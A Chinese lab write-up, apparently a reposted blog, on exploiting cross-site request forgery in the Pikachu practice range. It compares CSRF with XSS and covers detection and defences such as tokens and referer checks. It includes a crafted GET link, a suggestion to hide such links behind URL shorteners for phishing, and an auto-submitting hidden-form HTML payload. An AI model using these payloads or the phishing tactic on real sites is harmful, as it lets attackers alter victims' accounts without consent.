pikachu靶场-csrf

news2024/9/21 16:48:05

 csrf

跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

csrf与xss的区别如下

xss:中文名称跨站脚本攻击,通常出现在搜索框、留言板、评论区等地方

分类:反射性、存储型、DOM 型

攻击方式:构造恶意链接,诱骗用户点击盗取用户的 cookie 信息

漏洞危害:xss 蠕虫、会话、流量劫持、网站挂马、盗取 cookie

防护方法:设置黑名单和白名单、对用户输入进行过滤、入参字符过滤、出参字符转义、设置 httponly

csrf 漏洞:中文名称跨站请求伪造,攻击者冒充用户身份执行用户操作

检测漏洞:抓取一个请求包,去掉 referer 字段进行访问,如果访问有效则存在漏洞

危害:盗用用户身份、执行用户操作,修改信息

防护方法:

1、设置 referer 字段;但是并不是所有服务器在任何时候都可以接受 referer 字段,所以这个方法存在一定的局限性

2、设置验证码;在用户操作的过程中设置身份确认的验证码,该方法会很有用,不过验证码频繁的话会影响用户体验

3、设置 token 值,在用户请求中设置一个随机没有规律的 token 值可以有效的防止攻击者利用漏洞攻击

从上我们可以总结出:

xss:跨站脚本攻击、诱骗用户点击恶意链接盗取用户 cookie 进行攻击、不需要用户进行登录、xss 除了利用 cookie 还可以篡改网页等

csrf:跨站请求伪造、无法获取用户的 cookie 而是直接冒充用户、需要用户登录后进行操作

1.CSRF(get)

先登录boke的账号,密码为123456

 

登录后的界面,我们修改个人信息

 

点击submit 提交

可以看到信息被修改,他给的提示为get,我们抓包看看

 

抓包发现他对csrf_get_edit.php发送了一个get请求,后面跟着修改参数,那么我们可以对参数进行修改后拼接到url中

http://xxxxxx:xxxx/vul/csrf/csrfget/csrf_get_edit.php?sex=male&phonenum=19555517777&add=China&email=123%40qq.com&submit=submit

现在模拟攻击,让一个已经登录过boke账号,且浏览器中的cookie未过期的用户点击它,这就要钓鱼了

 这么长一串的链接,还带着参数怎么能让人放松警惕呢,于是就可以利用短链接生成器进行伪装

就可以得到一串xxxxx.xxx的链接了

所以说未知的链接不要点 

2.CSRF(post)

同样登录kobe账号,密码123456

进行抓包

 

发现它对信息的修改从get请求改为了post请求

所以说没法对内容进行拼接得到url后让受害者点击链接,我们要制作一个表单,相当于让用户点击提交内容,只不过这个内容是我们定的

<html>
    <script>                                                                                                       <!-- 这个script是用来自动提交表单的 -->
        window.onload = function() {
        document.getElementById("submit").click();
        }
    </script>              
    <body>
            <form action="http://xxxxxx/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">    
                <input type="hidden" name="sex" value="girl" />
                <input type="hidden" name="phonenum" value="123456789" />
                <input type="hidden" name="add" value="usa" />
                <input type="hidden" name="email" value="caker@pikachu.com" />
                <input type="hidden" name="submit" value="submit" />
              <input id="submit" type="submit" value="Submit request" style="display:none"/>                    <!-- style设置为display:none起到隐藏submit按钮的作用 -->
            </form>
    </body>
</html> 

将这段代码中的xxx换为自己靶场的地址,后打开html文件,发现内容被篡改成以下

 利用成功

CSRF 3.Token

CSRF的主要问题是敏感操作容易被伪造,我们可以加入Token让请求不容易被伪造

每次请求,都增加一个随机码(需要够随机,不容易被伪造),后台每次对这个随机码进行验证

我们进入Pikachu平台的CSRF(token)页面并登录,我们可以看一下这个GET请求

我们抓包看看

可以看到新增了一个参数 token进行验证,这个token没法被猜测,也不在html页面中能得到,所以无法利用该漏洞(所以可以试着去掉token后的值再发包,有些验证不严格的网站可能导致又能利用csrf,pikachu不行)

防护措施

增加Token验证(常用做法)
    对关键操作增加Token参数,token必须随机,每次都不一样
关于安全的会话管理(避免会话被利用)
    不要在客户端保存敏感信息(比如身份验证信息)
    退出、关闭浏览器时的会话过期机制
    设置会话过机制,比如15分钟无操作,则自动登录超时
访问控制安全管理
    敏感信息的修改时需要身份进行二次认证,比如修改账号密码,需要判断旧密码
    敏感信息的修改使用POST,而不是GET
    通过HTTP头部中的REFERER来限制原页面
增加验证码
    一般在登录(防暴力破解),也可以用在其他重要信息操作的表单中(需要考虑可用性)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/447874.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【C++ 六】内存分区、引用

内存分区、引用 文章目录 内存分区、引用前言1 内存分区模型1.1 程序运行前1.2 程序运行后1.3 new 操作符 2 引用2.1 引用基本使用2.2 引用注意事项2.3 引用做函数参数2.4 引用做函数返回值2.5 引用本质2.6 常量引用 总结 前言 本文包含内存分区、引用基本使用、引用注意事项、…

记一次完整的rc.local中启动python脚本报psutil找不到问题解决

文章目录 1&#xff0c;问题1.1&#xff0c;rc.local1.2&#xff0c;watchdog.py 2&#xff0c;问题排查2.1&#xff0c;手动执行start.sh后功能正常2.2&#xff0c;开机启动后rc.local加载start.sh&#xff0c;然后start.sh启动python脚本报错2.3&#xff0c;怀疑是rc.local加…

SAP S/4HANA不是ERP了?

今天浏览了一下SAP官方帮助&#xff08;Help&#xff09;网站&#xff0c;有一个意外的发现&#xff0c;如上图&#xff1a;SAP S/4HANA和SAP ERP是分别显示的&#xff0c;这让我想起了前段时间一个朋友和我说&#xff1a;“S/4HANA现在都不叫ERP了&#xff0c;因为里面包括了超…

【C++初阶】C++入门(一):命名空间C++的输入输出缺省参数函数重载

​ ​&#x1f4dd;个人主页&#xff1a;Sherry的成长之路 &#x1f3e0;学习社区&#xff1a;Sherry的成长之路&#xff08;个人社区&#xff09; &#x1f4d6;专栏链接&#xff1a;数据结构 &#x1f3af;长路漫漫浩浩&#xff0c;万事皆有期待 文章目录 1.什么是C1.1 C的发…

最新Tuxera NTFS2023最新版Mac读写NTFS磁盘工具 更新详情介绍

Tuxera NTFS for Mac是一款Mac系统NTFS磁盘读写软件。在系统默认状态下&#xff0c;MacOSX只能实现对NTFS的读取功能&#xff0c;Tuxera NTFS可以帮助MacOS 系统的电脑顺利实现对NTFS分区的读/写功能。Tuxera NTFS 2023完美兼容最新版本的MacOS 11 Big Sur&#xff0c;在M1芯片…

Python统计学:如何理解样本统计量?

本期介绍样本统计量是怎么算的&#xff0c;并用Python来模拟随机抽样。用一个在鱼塘捞鱼的简单例子来理解样本均值的概念。 如何理解重复试验&#xff1f; 指能够在完全相同条件下进行多次的试验&#xff1b; 比如我们抛10枚硬币&#xff0c;用来计算正面出现的概率&#xff…

4.7 贝塞尔曲线

学习目标&#xff1a; 学习贝塞尔曲线可以遵循以下步骤&#xff1a; 1.了解基本概念和定义&#xff1a;学习贝塞尔曲线前需要了解贝塞尔曲线的基本概念和定义&#xff0c;如何定义一条贝塞尔曲线、控制点的概念以及贝塞尔曲线的几何性质等。 2.学习贝塞尔曲线的构造方法&…

Django搭建一个简易GPT网站

文章目录 环境安装创建主项目和应用程序在 settings.py 文件中注册应用程序在 views.py 文件中为应用程序创建视图配置应用程序的 URL创建和渲染模板KEY实现发送提示功能注意事项完整源码 环境安装 pip install django openai创建主项目和应用程序 处理完项目的环境后&#x…

第二个机器学习应用:乳腺癌数据集在决策树模型上的挖掘

目录 决策树优化与可视化 1 决策树分类 2 决策树可视化 3 显示树的特征重要性 特征重要性可视化 决策树回归 1 决策树回归 决策树优化与可视化 1 决策树分类 from sklearn.datasets import load_breast_cancer from sklearn.tree import DecisionTreeClassifier from sk…

基于C++开发的医院医学影像PACS 可二次开发,三维重建

医学影像PACS系统源码&#xff0c;集成三维影像后处理功能&#xff0c;包括三维多平面重建、三维容积重建、三维表面重建、三维虚拟内窥镜、最大/小密度投影、心脏动脉钙化分析等功能。系统功能强大&#xff0c;代码完整。有演示。 本套PACS系统专门针对医院工作流程设计的&am…

分布式ID生成策略总结

1、UUID 2、数据库自增ID 2.1、主键表 2.2、ID自增步长设置 3、号段模式 4、Redis INCR 5、雪花算法 6、美团(Leaf) 7、百度(Uidgenerator) 8、滴滴(TinyID) 总结比较 背景 在复杂的分布式系统中&#xff0c;往往需要对大量的数据进行唯一标识&#xff0c;比如在对…

springboot中的日志

作者&#xff1a;~小明学编程 文章专栏&#xff1a;spring框架 格言&#xff1a;热爱编程的&#xff0c;终将被编程所厚爱。 目录 为什么需要日志 如何使用日志功能 日志的打印 获取日志对象 使用日志对象打印日志 日志级别 为什么我们需要把日志分为如此多的种类呢&am…

今天面试招了个25K的测试员,从腾讯出来的果然都有两把刷子···

公司前段时间缺人&#xff0c;也面了不少测试&#xff0c;前面一开始瞄准的就是中级的水准&#xff0c;也没指望来大牛&#xff0c;提供的薪资在15-25k&#xff0c;面试的人很多&#xff0c;但平均水平很让人失望。看简历很多都是4年工作经验&#xff0c;但面试中&#xff0c;不…

《系统架构设计》-07-面向领域的技术设计

文章目录 1 实体与值对象1.1 实体对象1.1.1 唯一标识&#xff08;Identity&#xff09;1.1.2 可变性贫血模型充血模型 1.2 值对象1.3 示例&#xff08;识别实体和值对象&#xff09;1&#xff09;识别实体对象2&#xff09;提取值对象3&#xff09;挖掘实体的关键行为4&#xf…

solidworks2022 - feature works 变灰的解决方法

文章目录 solidworks2022 - feature works 变灰的解决方法概述实验feature works 变灰问题的重现备注END solidworks2022 - feature works 变灰的解决方法 概述 feature works 用于step文件转零件. 一般是不同版本的solidworks交换文件的方法. 今天突然发现, 我自己转出的ste…

Spring框架使用总结

Spring框架使用 前言处理事务管理声明式事务&#xff1a;编程式事务&#xff1a; 框架核心常见注解 AOP&#xff08; 面向切面编程&#xff09;切面和通知有哪些类型&#xff1f;切面的类型通知类型AOP实现使用场景 IOC(管理所有的JavaBean)依赖注入&#xff08;DI&#xff09;…

像素比特行列置乱加密算法安全性分析

比特行列置乱加密 将MN大小的灰度图像每个像素值转换为8bit二进制&#xff0c;得到M8N大小的二值图像。 基于加密秘钥&#xff0c;生成随机序列TM和TN分别对二进制图像的行列进行置乱&#xff0c;生成置乱加密后的图像。 Logistic混沌序列加密&#xff1a; 选择明文攻击过程 …

Node内置模块 【path模块】

文章目录 &#x1f31f;前言&#x1f31f;path模块&#x1f31f;引用模块&#x1f31f;常用属性&#x1f31f;path.sep&#x1f31f;在MacOSX、 Unix、Linux操作系统上&#xff1a;&#x1f31f;在 Windows 上&#xff1a; &#x1f31f;常用方法&#x1f31f;将路径转换为对象…

【python视图1】networkx操作Graph图

一、说明 数据可视化需要显示种种数据&#xff0c;matplotlib负责曲线类画图&#xff0c;然而类似于图论的操作用什么方法。这里用networkx程序包完成。本文专门介绍这种程序包的用法。 二、生成图&#xff08;Creating a graph&#xff09; 2.1 创建一个没有节点和边的空图。…

Linux:centos 7:查看运行级别 控制init运行级别 已安装图形化以后设置开机进入图形化或命令行

0 target 关机状态&#xff0c;使用该级别时将关闭主机 1 rescue.target 单用户模式&#xff0c;不需要密码验证即可登录系统&#xff0c;多用于系统维护 …